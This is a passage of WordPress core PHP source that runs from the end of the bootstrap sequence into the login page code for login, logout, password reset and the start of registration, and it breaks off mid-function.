* @global WP_Locale_Switcher $wp_locale_switcher WordPress locale switcher object.
*/
$GLOBALS['wp_locale_switcher'] = new WP_Locale_Switcher();
$GLOBALS['wp_locale_switcher']->init();
// Load the functions for the active theme, for both parent and child theme if applicable.
foreach ( wp_get_active_and_valid_themes() as $theme ) {
$wp_theme = wp_get_theme( basename( $theme ) );
$wp_theme->load_textdomain();
if ( file_exists( $theme . '/functions.php' ) ) {
include $theme . '/functions.php';
}
}
unset( $theme, $wp_theme );
/**
* Fires after the theme is loaded.
*
* @since 3.0.0
*/
do_action( 'after_setup_theme' );
// Create an instance of WP_Site_Health so that Cron events may fire.
if ( ! class_exists( 'WP_Site_Health' ) ) {
require_once ABSPATH . 'wp-admin/includes/class-wp-site-health.php';
}
WP_Site_Health::get_instance();
// Set up current user.
$GLOBALS['wp']->init();
/**
* Fires after WordPress has finished loading but before any headers are sent.
*
* Most of WP is loaded at this stage, and the user is authenticated. WP continues
* to load on the {@see 'init'} hook that follows (e.g. widgets), and many plugins instantiate
* themselves on it for all sorts of reasons (e.g. they need a user, a taxonomy, etc.).
*
* If you wish to plug an action once WP is loaded, use the {@see 'wp_loaded'} hook below.
*
* @since 1.5.0
*/
do_action( 'init' );
// Check site status.
if ( is_multisite() ) {
$file = ms_site_check();
if ( true !== $file ) {
require $file;
die();
}
unset( $file );
}
/**
* This hook is fired once WP, all plugins, and the theme are fully loaded and instantiated.
*
* Ajax requests should use wp-admin/admin-ajax.php. admin-ajax.php can handle requests for
* users not logged in.
*
* @link https://developer.wordpress.org/plugins/javascript/ajax
*
* @since 3.0.0
*/
do_action( 'wp_loaded' );
<?php
/**
* WordPress User Page
*
* Handles authentication, registering, resetting passwords, forgot password,
* and other user handling.
*
* @package WordPress
*/
/** Make sure that the WordPress bootstrap has run before continuing. */
require __DIR__ . '/wp-load.php';
// Redirect to HTTPS login if forced to use SSL.
if ( force_ssl_admin() && ! is_ssl() ) {
if ( str_starts_with( $_SERVER['REQUEST_URI'], 'http' ) ) {
wp_safe_redirect( set_url_scheme( $_SERVER['REQUEST_URI'], 'https' ) );
exit;
} else {
wp_safe_redirect( 'https://' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'] );
exit;
}
}
/**
* Outputs the login page header.
*
* @since 2.1.0
*
* @global string $error Login error message set by deprecated pluggable wp_login() function
* or plugins replacing it.
* @global bool|string $interim_login Whether interim login modal is being displayed. String 'success'
* upon successful login.
* @global string $action The action that brought the visitor to the login page.
*
* @param string|null $title Optional. WordPress login page title to display in the `<title>` element.
* Defaults to 'Log In'.
* @param string $message Optional. Message to display in header. Default empty.
* @param WP_Error|null $wp_error Optional. The error to pass. Defaults to a WP_Error instance.
*/
function login_header( $title = null, $message = '', $wp_error = null ) {
global $error, $interim_login, $action;
if ( null === $title ) {
$title = __( 'Log In' );
}
// Don't index any of these forms.
add_filter( 'wp_robots', 'wp_robots_sensitive_page' );
add_action( 'login_head', 'wp_strict_cross_origin_referrer' );
add_action( 'login_head', 'wp_login_viewport_meta' );
if ( ! is_wp_error( $wp_error ) ) {
$wp_error = new WP_Error();
}
// Shake it!
$shake_error_codes = array( 'empty_password', 'empty_email', 'invalid_email', 'invalidcombo', 'empty_username', 'invalid_username', 'incorrect_password', 'retrieve_password_email_failure' );
/**
* Filters the error codes array for shaking the login form.
*
* @since 3.0.0
*
* @param string[] $shake_error_codes Error codes that shake the login form.
*/
$shake_error_codes = apply_filters( 'shake_error_codes', $shake_error_codes );
if ( $shake_error_codes && $wp_error->has_errors() && in_array( $wp_error->get_error_code(), $shake_error_codes, true ) ) {
add_action( 'login_footer', 'wp_shake_js', 12 );
}
$login_title = get_bloginfo( 'name', 'display' );
/* translators: Login screen title. 1: Login screen name, 2: Network or site name. */
$login_title = sprintf( __( '%1$s ‹ %2$s — WordPress' ), $title, $login_title );
if ( wp_is_recovery_mode() ) {
/* translators: %s: Login screen title. */
$login_title = sprintf( __( 'Recovery Mode — %s' ), $login_title );
}
/**
* Filters the title tag content for login page.
*
* @since 4.9.0
*
* @param string $login_title The page title, with extra context added.
* @param string $title The original page title.
*/
$login_title = apply_filters( 'login_title', $login_title, $title );
?><!DOCTYPE html>
<html <?php language_attributes(); ?>>
<head>
<meta http-equiv="Content-Type" content="<?php bloginfo( 'html_type' ); ?>; charset=<?php bloginfo( 'charset' ); ?>" />
<title><?php echo $login_title; ?></title>
<?php
wp_enqueue_style( 'login' );
/*
* Remove all stored post data on logging out.
* This could be added by add_action('login_head'...) like wp_shake_js(),
* but maybe better if it's not removable by plugins.
*/
if ( 'loggedout' === $wp_error->get_error_code() ) {
ob_start();
?>
<script>if("sessionStorage" in window){try{for(var key in sessionStorage){if(key.indexOf("wp-autosave-")!=-1){sessionStorage.removeItem(key)}}}catch(e){}};</script>
<?php
wp_print_inline_script_tag( wp_remove_surrounding_empty_script_tags( ob_get_clean() ) );
}
/**
* Enqueues scripts and styles for the login page.
*
* @since 3.1.0
*/
do_action( 'login_enqueue_scripts' );
/**
* Fires in the login page header after scripts are enqueued.
*
* @since 2.1.0
*/
do_action( 'login_head' );
$login_header_url = __( 'https://wordpress.org/' );
/**
* Filters link URL of the header logo above login form.
*
* @since 2.1.0
*
* @param string $login_header_url Login header logo URL.
*/
$login_header_url = apply_filters( 'login_headerurl', $login_header_url );
$login_header_title = '';
/**
* Filters the title attribute of the header logo above login form.
*
* @since 2.1.0
* @deprecated 5.2.0 Use {@see 'login_headertext'} instead.
*
* @param string $login_header_title Login header logo title attribute.
*/
$login_header_title = apply_filters_deprecated(
'login_headertitle',
array( $login_header_title ),
'5.2.0',
'login_headertext',
__( 'Usage of the title attribute on the login logo is not recommended for accessibility reasons. Use the link text instead.' )
);
$login_header_text = empty( $login_header_title ) ? __( 'Powered by WordPress' ) : $login_header_title;
/**
* Filters the link text of the header logo above the login form.
*
* @since 5.2.0
*
* @param string $login_header_text The login header logo link text.
*/
$login_header_text = apply_filters( 'login_headertext', $login_header_text );
$classes = array( 'login-action-' . $action, 'wp-core-ui' );
if ( is_rtl() ) {
$classes[] = 'rtl';
}
if ( $interim_login ) {
$classes[] = 'interim-login';
?>
<style type="text/css">html{background-color: transparent;}</style>
<?php
if ( 'success' === $interim_login ) {
$classes[] = 'interim-login-success';
}
}
$classes[] = ' locale-' . sanitize_html_class( strtolower( str_replace( '_', '-', get_locale() ) ) );
/**
* Filters the login page body classes.
*
* @since 3.5.0
*
* @param string[] $classes An array of body classes.
* @param string $action The action that brought the visitor to the login page.
*/
$classes = apply_filters( 'login_body_class', $classes, $action );
?>
</head>
<body class="login no-js <?php echo esc_attr( implode( ' ', $classes ) ); ?>">
<?php
wp_print_inline_script_tag( "document.body.className = document.body.className.replace('no-js','js');" );
?>
<?php
/**
* Fires in the login page header after the body tag is opened.
*
* @since 4.6.0
*/
do_action( 'login_header' );
?>
<?php
if ( 'confirm_admin_email' !== $action && ! empty( $title ) ) :
?>
<h1 class="screen-reader-text"><?php echo $title; ?></h1>
<?php
endif;
?>
<div id="login">
<h1 role="presentation" class="wp-login-logo"><a href="<?php echo esc_url( $login_header_url ); ?>"><?php echo $login_header_text; ?></a></h1>
<?php
/**
* Filters the message to display above the login form.
*
* @since 2.1.0
*
* @param string $message Login message text.
*/
$message = apply_filters( 'login_message', $message );
if ( ! empty( $message ) ) {
echo $message . "\n";
}
// In case a plugin uses $error rather than the $wp_errors object.
if ( ! empty( $error ) ) {
$wp_error->add( 'error', $error );
unset( $error );
}
if ( $wp_error->has_errors() ) {
$error_list = array();
$messages = '';
foreach ( $wp_error->get_error_codes() as $code ) {
$severity = $wp_error->get_error_data( $code );
foreach ( $wp_error->get_error_messages( $code ) as $error_message ) {
if ( 'message' === $severity ) {
$messages .= '<p>' . $error_message . '</p>';
} else {
$error_list[] = $error_message;
}
}
}
if ( ! empty( $error_list ) ) {
$errors = '';
if ( count( $error_list ) > 1 ) {
$errors .= '<ul class="login-error-list">';
foreach ( $error_list as $item ) {
$errors .= '<li>' . $item . '</li>';
}
$errors .= '</ul>';
} else {
$errors .= '<p>' . $error_list[0] . '</p>';
}
/**
* Filters the error messages displayed above the login form.
*
* @since 2.1.0
*
* @param string $errors Login error messages.
*/
$errors = apply_filters( 'login_errors', $errors );
wp_admin_notice(
$errors,
array(
'type' => 'error',
'id' => 'login_error',
'paragraph_wrap' => false,
)
);
}
if ( ! empty( $messages ) ) {
/**
* Filters instructional messages displayed above the login form.
*
* @since 2.5.0
*
* @param string $messages Login messages.
*/
$messages = apply_filters( 'login_messages', $messages );
wp_admin_notice(
$messages,
array(
'type' => 'info',
'id' => 'login-message',
'additional_classes' => array( 'message' ),
'paragraph_wrap' => false,
)
);
}
}
} // End of login_header().
/**
* Outputs the footer for the login page.
*
* @since 3.1.0
*
* @global bool|string $interim_login Whether interim login modal is being displayed. String 'success'
* upon successful login.
*
* @param string $input_id Which input to auto-focus.
*/
function login_footer( $input_id = '' ) {
global $interim_login;
// Don't allow interim logins to navigate away from the page.
if ( ! $interim_login ) {
?>
<p id="backtoblog">
<?php
$html_link = sprintf(
'<a href="%s">%s</a>',
esc_url( home_url( '/' ) ),
sprintf(
/* translators: %s: Site title. */
_x( '← Go to %s', 'site' ),
get_bloginfo( 'title', 'display' )
)
);
/**
* Filters the "Go to site" link displayed in the login page footer.
*
* @since 5.7.0
*
* @param string $link HTML link to the home URL of the current site.
*/
echo apply_filters( 'login_site_html_link', $html_link );
?>
</p>
<?php
the_privacy_policy_link( '<div class="privacy-policy-page-link">', '</div>' );
}
?>
</div><?php // End of <div id="login">. ?>
<?php
if (
! $interim_login &&
/**
* Filters whether to display the Language selector on the login screen.
*
* @since 5.9.0
*
* @param bool $display Whether to display the Language selector on the login screen.
*/
apply_filters( 'login_display_language_dropdown', true )
) {
$languages = get_available_languages();
if ( ! empty( $languages ) ) {
?>
<div class="language-switcher">
<form id="language-switcher" method="get">
<label for="language-switcher-locales">
<span class="dashicons dashicons-translation" aria-hidden="true"></span>
<span class="screen-reader-text">
<?php
/* translators: Hidden accessibility text. */
_e( 'Language' );
?>
</span>
</label>
<?php
$args = array(
'id' => 'language-switcher-locales',
'name' => 'wp_lang',
'selected' => determine_locale(),
'show_available_translations' => false,
'explicit_option_en_us' => true,
'languages' => $languages,
);
/**
* Filters default arguments for the Languages select input on the login screen.
*
* The arguments get passed to the wp_dropdown_languages() function.
*
* @since 5.9.0
*
* @param array $args Arguments for the Languages select input on the login screen.
*/
wp_dropdown_languages( apply_filters( 'login_language_dropdown_args', $args ) );
?>
<?php if ( $interim_login ) { ?>
<input type="hidden" name="interim-login" value="1" />
<?php } ?>
<?php if ( isset( $_GET['redirect_to'] ) && '' !== $_GET['redirect_to'] ) { ?>
<input type="hidden" name="redirect_to" value="<?php echo sanitize_url( $_GET['redirect_to'] ); ?>" />
<?php } ?>
<?php if ( isset( $_GET['action'] ) && '' !== $_GET['action'] ) { ?>
<input type="hidden" name="action" value="<?php echo esc_attr( $_GET['action'] ); ?>" />
<?php } ?>
<input type="submit" class="button" value="<?php esc_attr_e( 'Change' ); ?>">
</form>
</div>
<?php } ?>
<?php } ?>
<?php
if ( ! empty( $input_id ) ) {
ob_start();
?>
<script>
try{document.getElementById('<?php echo $input_id; ?>').focus();}catch(e){}
if(typeof wpOnload==='function')wpOnload();
</script>
<?php
wp_print_inline_script_tag( wp_remove_surrounding_empty_script_tags( ob_get_clean() ) );
}
/**
* Fires in the login page footer.
*
* @since 3.1.0
*/
do_action( 'login_footer' );
?>
</body>
</html>
<?php
}
/**
* Outputs the JavaScript to handle the form shaking on the login page.
*
* @since 3.0.0
*/
function wp_shake_js() {
wp_print_inline_script_tag( "document.querySelector('form').classList.add('shake');" );
}
/**
* Outputs the viewport meta tag for the login page.
*
* @since 3.7.0
*/
function wp_login_viewport_meta() {
?>
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<?php
}
/*
* Main part.
*
* Check the request and redirect or display a form based on the current action.
*/
$action = isset( $_REQUEST['action'] ) && is_string( $_REQUEST['action'] ) ? $_REQUEST['action'] : 'login';
$errors = new WP_Error();
if ( isset( $_GET['key'] ) ) {
$action = 'resetpass';
}
if ( isset( $_GET['checkemail'] ) ) {
$action = 'checkemail';
}
$default_actions = array(
'confirm_admin_email',
'postpass',
'logout',
'lostpassword',
'retrievepassword',
'resetpass',
'rp',
'register',
'checkemail',
'confirmaction',
'login',
WP_Recovery_Mode_Link_Service::LOGIN_ACTION_ENTERED,
);
// Validate action so as to default to the login screen.
if ( ! in_array( $action, $default_actions, true ) && false === has_filter( 'login_form_' . $action ) ) {
$action = 'login';
}
nocache_headers();
header( 'Content-Type: ' . get_bloginfo( 'html_type' ) . '; charset=' . get_bloginfo( 'charset' ) );
if ( defined( 'RELOCATE' ) && RELOCATE ) { // Move flag is set.
if ( isset( $_SERVER['PATH_INFO'] ) && ( $_SERVER['PATH_INFO'] !== $_SERVER['PHP_SELF'] ) ) {
$_SERVER['PHP_SELF'] = str_replace( $_SERVER['PATH_INFO'], '', $_SERVER['PHP_SELF'] );
}
$url = dirname( set_url_scheme( 'http://' . $_SERVER['HTTP_HOST'] . $_SERVER['PHP_SELF'] ) );
if ( get_option( 'siteurl' ) !== $url ) {
update_option( 'siteurl', $url );
}
}
// Set a cookie now to see if they are supported by the browser.
$secure = ( 'https' === parse_url( wp_login_url(), PHP_URL_SCHEME ) );
setcookie( TEST_COOKIE, 'WP Cookie check', 0, COOKIEPATH, COOKIE_DOMAIN, $secure, true );
if ( SITECOOKIEPATH !== COOKIEPATH ) {
setcookie( TEST_COOKIE, 'WP Cookie check', 0, SITECOOKIEPATH, COOKIE_DOMAIN, $secure, true );
}
if ( isset( $_GET['wp_lang'] ) ) {
setcookie( 'wp_lang', sanitize_text_field( $_GET['wp_lang'] ), 0, COOKIEPATH, COOKIE_DOMAIN, $secure, true );
}
/**
* Fires when the login form is initialized.
*
* @since 3.2.0
*/
do_action( 'login_init' );
/**
* Fires before a specified login form action.
*
* The dynamic portion of the hook name, `$action`, refers to the action
* that brought the visitor to the login form.
*
* Possible hook names include:
*
* - `login_form_checkemail`
* - `login_form_confirm_admin_email`
* - `login_form_confirmaction`
* - `login_form_entered_recovery_mode`
* - `login_form_login`
* - `login_form_logout`
* - `login_form_lostpassword`
* - `login_form_postpass`
* - `login_form_register`
* - `login_form_resetpass`
* - `login_form_retrievepassword`
* - `login_form_rp`
*
* @since 2.8.0
*/
do_action( "login_form_{$action}" );
$http_post = ( 'POST' === $_SERVER['REQUEST_METHOD'] );
$interim_login = isset( $_REQUEST['interim-login'] );
/**
* Filters the separator used between login form navigation links.
*
* @since 4.9.0
*
* @param string $login_link_separator The separator used between login form navigation links.
*/
$login_link_separator = apply_filters( 'login_link_separator', ' | ' );
switch ( $action ) {
case 'confirm_admin_email':
/*
* Note that `is_user_logged_in()` will return false immediately after logging in
* as the current user is not set, see wp-includes/pluggable.php.
* However this action runs on a redirect after logging in.
*/
if ( ! is_user_logged_in() ) {
wp_safe_redirect( wp_login_url() );
exit;
}
if ( ! empty( $_REQUEST['redirect_to'] ) ) {
$redirect_to = $_REQUEST['redirect_to'];
} else {
$redirect_to = admin_url();
}
if ( current_user_can( 'manage_options' ) ) {
$admin_email = get_option( 'admin_email' );
} else {
wp_safe_redirect( $redirect_to );
exit;
}
/**
* Filters the interval for dismissing the admin email confirmation screen.
*
* If `0` (zero) is returned, the "Remind me later" link will not be displayed.
*
* @since 5.3.1
*
* @param int $interval Interval time (in seconds). Default is 3 days.
*/
$remind_interval = (int) apply_filters( 'admin_email_remind_interval', 3 * DAY_IN_SECONDS );
if ( ! empty( $_GET['remind_me_later'] ) ) {
if ( ! wp_verify_nonce( $_GET['remind_me_later'], 'remind_me_later_nonce' ) ) {
wp_safe_redirect( wp_login_url() );
exit;
}
if ( $remind_interval > 0 ) {
update_option( 'admin_email_lifespan', time() + $remind_interval );
}
$redirect_to = add_query_arg( 'admin_email_remind_later', 1, $redirect_to );
wp_safe_redirect( $redirect_to );
exit;
}
if ( ! empty( $_POST['correct-admin-email'] ) ) {
if ( ! check_admin_referer( 'confirm_admin_email', 'confirm_admin_email_nonce' ) ) {
wp_safe_redirect( wp_login_url() );
exit;
}
/**
* Filters the interval for redirecting the user to the admin email confirmation screen.
*
* If `0` (zero) is returned, the user will not be redirected.
*
* @since 5.3.0
*
* @param int $interval Interval time (in seconds). Default is 6 months.
*/
$admin_email_check_interval = (int) apply_filters( 'admin_email_check_interval', 6 * MONTH_IN_SECONDS );
if ( $admin_email_check_interval > 0 ) {
update_option( 'admin_email_lifespan', time() + $admin_email_check_interval );
}
wp_safe_redirect( $redirect_to );
exit;
}
login_header( __( 'Confirm your administration email' ), '', $errors );
/**
* Fires before the admin email confirm form.
*
* @since 5.3.0
*
* @param WP_Error $errors A `WP_Error` object containing any errors generated by using invalid
* credentials. Note that the error object may not contain any errors.
*/
do_action( 'admin_email_confirm', $errors );
?>
<form class="admin-email-confirm-form" name="admin-email-confirm-form" action="<?php echo esc_url( site_url( 'wp-login.php?action=confirm_admin_email', 'login_post' ) ); ?>" method="post">
<?php
/**
* Fires inside the admin-email-confirm-form form tags, before the hidden fields.
*
* @since 5.3.0
*/
do_action( 'admin_email_confirm_form' );
wp_nonce_field( 'confirm_admin_email', 'confirm_admin_email_nonce' );
?>
<input type="hidden" name="redirect_to" value="<?php echo esc_attr( $redirect_to ); ?>" />
<h1 class="admin-email__heading">
<?php _e( 'Administration email verification' ); ?>
</h1>
<p class="admin-email__details">
<?php _e( 'Please verify that the <strong>administration email</strong> for this website is still correct.' ); ?>
<?php
/* translators: URL to the WordPress help section about admin email. */
$admin_email_help_url = __( 'https://wordpress.org/documentation/article/settings-general-screen/#email-address' );
$accessibility_text = sprintf(
'<span class="screen-reader-text"> %s</span>',
/* translators: Hidden accessibility text. */
__( '(opens in a new tab)' )
);
printf(
'<a href="%s" target="_blank">%s%s</a>',
esc_url( $admin_email_help_url ),
__( 'Why is this important?' ),
$accessibility_text
);
?>
</p>
<p class="admin-email__details">
<?php
printf(
/* translators: %s: Admin email address. */
__( 'Current administration email: %s' ),
'<strong>' . esc_html( $admin_email ) . '</strong>'
);
?>
</p>
<p class="admin-email__details">
<?php _e( 'This email may be different from your personal email address.' ); ?>
</p>
<div class="admin-email__actions">
<div class="admin-email__actions-primary">
<?php
$change_link = admin_url( 'options-general.php' );
$change_link = add_query_arg( 'highlight', 'confirm_admin_email', $change_link );
?>
<a class="button button-large" href="<?php echo esc_url( $change_link ); ?>"><?php _e( 'Update' ); ?></a>
<input type="submit" name="correct-admin-email" id="correct-admin-email" class="button button-primary button-large" value="<?php esc_attr_e( 'The email is correct' ); ?>" />
</div>
<?php if ( $remind_interval > 0 ) : ?>
<div class="admin-email__actions-secondary">
<?php
$remind_me_link = wp_login_url( $redirect_to );
$remind_me_link = add_query_arg(
array(
'action' => 'confirm_admin_email',
'remind_me_later' => wp_create_nonce( 'remind_me_later_nonce' ),
),
$remind_me_link
);
?>
<a href="<?php echo esc_url( $remind_me_link ); ?>"><?php _e( 'Remind me later' ); ?></a>
</div>
<?php endif; ?>
</div>
</form>
<?php
login_footer();
break;
case 'postpass':
$redirect_to = $_POST['redirect_to'] ?? wp_get_referer();
if ( ! isset( $_POST['post_password'] ) || ! is_string( $_POST['post_password'] ) ) {
wp_safe_redirect( $redirect_to );
exit;
}
require_once ABSPATH . WPINC . '/class-phpass.php';
$hasher = new PasswordHash( 8, true );
/**
* Filters the life span of the post password cookie.
*
* By default, the cookie expires 10 days from creation. To turn this
* into a session cookie, return 0.
*
* @since 3.7.0
*
* @param int $expires The expiry time, as passed to setcookie().
*/
$expire = apply_filters( 'post_password_expires', time() + 10 * DAY_IN_SECONDS );
if ( $redirect_to ) {
$secure = ( 'https' === parse_url( $redirect_to, PHP_URL_SCHEME ) );
} else {
$secure = false;
}
setcookie( 'wp-postpass_' . COOKIEHASH, $hasher->HashPassword( wp_unslash( $_POST['post_password'] ) ), $expire, COOKIEPATH, COOKIE_DOMAIN, $secure );
wp_safe_redirect( $redirect_to );
exit;
case 'logout':
check_admin_referer( 'log-out' );
$user = wp_get_current_user();
wp_logout();
if ( ! empty( $_REQUEST['redirect_to'] ) && is_string( $_REQUEST['redirect_to'] ) ) {
$redirect_to = $_REQUEST['redirect_to'];
$requested_redirect_to = $redirect_to;
} else {
$redirect_to = add_query_arg(
array(
'loggedout' => 'true',
'wp_lang' => get_user_locale( $user ),
),
wp_login_url()
);
$requested_redirect_to = '';
}
/**
* Filters the log out redirect URL.
*
* @since 4.2.0
*
* @param string $redirect_to The redirect destination URL.
* @param string $requested_redirect_to The requested redirect destination URL passed as a parameter.
* @param WP_User $user The WP_User object for the user that's logging out.
*/
$redirect_to = apply_filters( 'logout_redirect', $redirect_to, $requested_redirect_to, $user );
wp_safe_redirect( $redirect_to );
exit;
case 'lostpassword':
case 'retrievepassword':
if ( $http_post ) {
$errors = retrieve_password();
if ( ! is_wp_error( $errors ) ) {
$redirect_to = ! empty( $_REQUEST['redirect_to'] ) ? $_REQUEST['redirect_to'] : 'wp-login.php?checkemail=confirm';
wp_safe_redirect( $redirect_to );
exit;
}
}
if ( isset( $_GET['error'] ) ) {
if ( 'invalidkey' === $_GET['error'] ) {
$errors->add( 'invalidkey', __( '<strong>Error:</strong> Your password reset link appears to be invalid. Please request a new link below.' ) );
} elseif ( 'expiredkey' === $_GET['error'] ) {
$errors->add( 'expiredkey', __( '<strong>Error:</strong> Your password reset link has expired. Please request a new link below.' ) );
}
}
$lostpassword_redirect = ! empty( $_REQUEST['redirect_to'] ) ? $_REQUEST['redirect_to'] : '';
/**
* Filters the URL redirected to after submitting the lostpassword/retrievepassword form.
*
* @since 3.0.0
*
* @param string $lostpassword_redirect The redirect destination URL.
*/
$redirect_to = apply_filters( 'lostpassword_redirect', $lostpassword_redirect );
/**
* Fires before the lost password form.
*
* @since 1.5.1
* @since 5.1.0 Added the `$errors` parameter.
*
* @param WP_Error $errors A `WP_Error` object containing any errors generated by using invalid
* credentials. Note that the error object may not contain any errors.
*/
do_action( 'lost_password', $errors );
login_header(
__( 'Lost Password' ),
wp_get_admin_notice(
__( 'Please enter your username or email address. You will receive an email message with instructions on how to reset your password.' ),
array(
'type' => 'info',
'additional_classes' => array( 'message' ),
)
),
$errors
);
$user_login = '';
if ( isset( $_POST['user_login'] ) && is_string( $_POST['user_login'] ) ) {
$user_login = wp_unslash( $_POST['user_login'] );
}
?>
<form name="lostpasswordform" id="lostpasswordform" action="<?php echo esc_url( network_site_url( 'wp-login.php?action=lostpassword', 'login_post' ) ); ?>" method="post">
<p>
<label for="user_login"><?php _e( 'Username or Email Address' ); ?></label>
<input type="text" name="user_login" id="user_login" class="input" value="<?php echo esc_attr( $user_login ); ?>" size="20" autocapitalize="off" autocomplete="username" required="required" />
</p>
<?php
/**
* Fires inside the lostpassword form tags, before the hidden fields.
*
* @since 2.1.0
*/
do_action( 'lostpassword_form' );
?>
<input type="hidden" name="redirect_to" value="<?php echo esc_attr( $redirect_to ); ?>" />
<p class="submit">
<input type="submit" name="wp-submit" id="wp-submit" class="button button-primary button-large" value="<?php esc_attr_e( 'Get New Password' ); ?>" />
</p>
</form>
<p id="nav">
<a class="wp-login-log-in" href="<?php echo esc_url( wp_login_url() ); ?>"><?php _e( 'Log in' ); ?></a>
<?php
if ( get_option( 'users_can_register' ) ) {
$registration_url = sprintf( '<a class="wp-login-register" href="%s">%s</a>', esc_url( wp_registration_url() ), __( 'Register' ) );
echo esc_html( $login_link_separator );
/** This filter is documented in wp-includes/general-template.php */
echo apply_filters( 'register', $registration_url );
}
?>
</p>
<?php
login_footer( 'user_login' );
break;
case 'resetpass':
case 'rp':
list( $rp_path ) = explode( '?', wp_unslash( $_SERVER['REQUEST_URI'] ) );
$rp_cookie = 'wp-resetpass-' . COOKIEHASH;
if ( isset( $_GET['key'] ) && isset( $_GET['login'] ) ) {
$value = sprintf( '%s:%s', wp_unslash( $_GET['login'] ), wp_unslash( $_GET['key'] ) );
setcookie( $rp_cookie, $value, 0, $rp_path, COOKIE_DOMAIN, is_ssl(), true );
wp_safe_redirect( remove_query_arg( array( 'key', 'login' ) ) );
exit;
}
if ( isset( $_COOKIE[ $rp_cookie ] ) && 0 < strpos( $_COOKIE[ $rp_cookie ], ':' ) ) {
list( $rp_login, $rp_key ) = explode( ':', wp_unslash( $_COOKIE[ $rp_cookie ] ), 2 );
$user = check_password_reset_key( $rp_key, $rp_login );
if ( isset( $_POST['pass1'] ) && ! hash_equals( $rp_key, $_POST['rp_key'] ) ) {
$user = false;
}
} else {
$user = false;
}
if ( ! $user || is_wp_error( $user ) ) {
setcookie( $rp_cookie, ' ', time() - YEAR_IN_SECONDS, $rp_path, COOKIE_DOMAIN, is_ssl(), true );
if ( $user && $user->get_error_code() === 'expired_key' ) {
wp_redirect( site_url( 'wp-login.php?action=lostpassword&error=expiredkey' ) );
} else {
wp_redirect( site_url( 'wp-login.php?action=lostpassword&error=invalidkey' ) );
}
exit;
}
$errors = new WP_Error();
// Check if password is one or all empty spaces.
if ( ! empty( $_POST['pass1'] ) ) {
$_POST['pass1'] = trim( $_POST['pass1'] );
if ( empty( $_POST['pass1'] ) ) {
$errors->add( 'password_reset_empty_space', __( 'The password cannot be a space or all spaces.' ) );
}
}
// Check if password fields do not match.
if ( ! empty( $_POST['pass1'] ) && trim( $_POST['pass2'] ) !== $_POST['pass1'] ) {
$errors->add( 'password_reset_mismatch', __( '<strong>Error:</strong> The passwords do not match.' ) );
}
/**
* Fires before the password reset procedure is validated.
*
* @since 3.5.0
*
* @param WP_Error $errors WP Error object.
* @param WP_User|WP_Error $user WP_User object if the login and reset key match. WP_Error object otherwise.
*/
do_action( 'validate_password_reset', $errors, $user );
if ( ( ! $errors->has_errors() ) && isset( $_POST['pass1'] ) && ! empty( $_POST['pass1'] ) ) {
reset_password( $user, $_POST['pass1'] );
setcookie( $rp_cookie, ' ', time() - YEAR_IN_SECONDS, $rp_path, COOKIE_DOMAIN, is_ssl(), true );
login_header(
__( 'Password Reset' ),
wp_get_admin_notice(
__( 'Your password has been reset.' ) . ' <a href="' . esc_url( wp_login_url() ) . '">' . __( 'Log in' ) . '</a>',
array(
'type' => 'info',
'additional_classes' => array( 'message', 'reset-pass' ),
)
)
);
login_footer();
exit;
}
wp_enqueue_script( 'utils' );
wp_enqueue_script( 'user-profile' );
login_header(
__( 'Reset Password' ),
wp_get_admin_notice(
__( 'Enter your new password below or generate one.' ),
array(
'type' => 'info',
'additional_classes' => array( 'message', 'reset-pass' ),
)
),
$errors
);
?>
<form name="resetpassform" id="resetpassform" action="<?php echo esc_url( network_site_url( 'wp-login.php?action=resetpass', 'login_post' ) ); ?>" method="post" autocomplete="off">
<input type="hidden" id="user_login" value="<?php echo esc_attr( $rp_login ); ?>" autocomplete="off" />
<div class="user-pass1-wrap">
<p>
<label for="pass1"><?php _e( 'New password' ); ?></label>
</p>
<div class="wp-pwd">
<input type="password" name="pass1" id="pass1" class="input password-input" size="24" value="" autocomplete="new-password" spellcheck="false" data-reveal="1" data-pw="<?php echo esc_attr( wp_generate_password( 16 ) ); ?>" aria-describedby="pass-strength-result" />
<button type="button" class="button button-secondary wp-hide-pw hide-if-no-js" data-toggle="0" aria-label="<?php esc_attr_e( 'Hide password' ); ?>">
<span class="dashicons dashicons-hidden" aria-hidden="true"></span>
</button>
<div id="pass-strength-result" class="hide-if-no-js" aria-live="polite"><?php _e( 'Strength indicator' ); ?></div>
</div>
<div class="pw-weak">
<input type="checkbox" name="pw_weak" id="pw-weak" class="pw-checkbox" />
<label for="pw-weak"><?php _e( 'Confirm use of weak password' ); ?></label>
</div>
</div>
<p class="user-pass2-wrap">
<label for="pass2"><?php _e( 'Confirm new password' ); ?></label>
<input type="password" name="pass2" id="pass2" class="input" size="20" value="" autocomplete="new-password" spellcheck="false" />
</p>
<p class="description indicator-hint"><?php echo wp_get_password_hint(); ?></p>
<?php
/**
* Fires following the 'Strength indicator' meter in the user password reset form.
*
* @since 3.9.0
*
* @param WP_User $user User object of the user whose password is being reset.
*/
do_action( 'resetpass_form', $user );
?>
<input type="hidden" name="rp_key" value="<?php echo esc_attr( $rp_key ); ?>" />
<p class="submit reset-pass-submit">
<button type="button" class="button wp-generate-pw hide-if-no-js skip-aria-expanded"><?php _e( 'Generate Password' ); ?></button>
<input type="submit" name="wp-submit" id="wp-submit" class="button button-primary button-large" value="<?php esc_attr_e( 'Save Password' ); ?>" />
</p>
</form>
<p id="nav">
<a class="wp-login-log-in" href="<?php echo esc_url( wp_login_url() ); ?>"><?php _e( 'Log in' ); ?></a>
<?php
if ( get_option( 'users_can_register' ) ) {
$registration_url = sprintf( '<a class="wp-login-register" href="%s">%s</a>', esc_url( wp_registration_url() ), __( 'Register' ) );
echo esc_html( $login_link_separator );
/** This filter is documented in wp-includes/general-template.php */
echo apply_filters( 'register', $registration_url );
}
?>
</p>
<?php
login_footer( 'pass1' );
break;
case 'register':
if ( is_multisite() ) {
/**
* Filters the Multisite sign up URL.
*
* @since 3.0.0
*
* @param string $sign_up_url The sign up URL.
*/
wp_redirect( apply_filters( 'wp_signup_location', network_site_url( 'wp-signup.php' ) ) );
exit;
}
if ( ! get_option( 'users_can_register' ) ) {
wp_redirect( site_url( 'wp-login.php?registration=disabled' ) );
exit;
}
$user_login = '';
$user_email = '';
if ( $http_post ) {
if ( isset( $_POST['user_login'] ) && is_string( $_POST['user_login'] ) ) {
$user_login = wp_unslash( $_POST['user_login'] );
}
if ( isset( $_POST['user_email'] ) && is_string( $_POST['user_email'] ) ) {
$user_email = wp_unslash( $_POST['user_email'] );
}
$errors = register_new_user( $user_login, $user_email );
if ( ! is_wp_error( $errors ) ) {
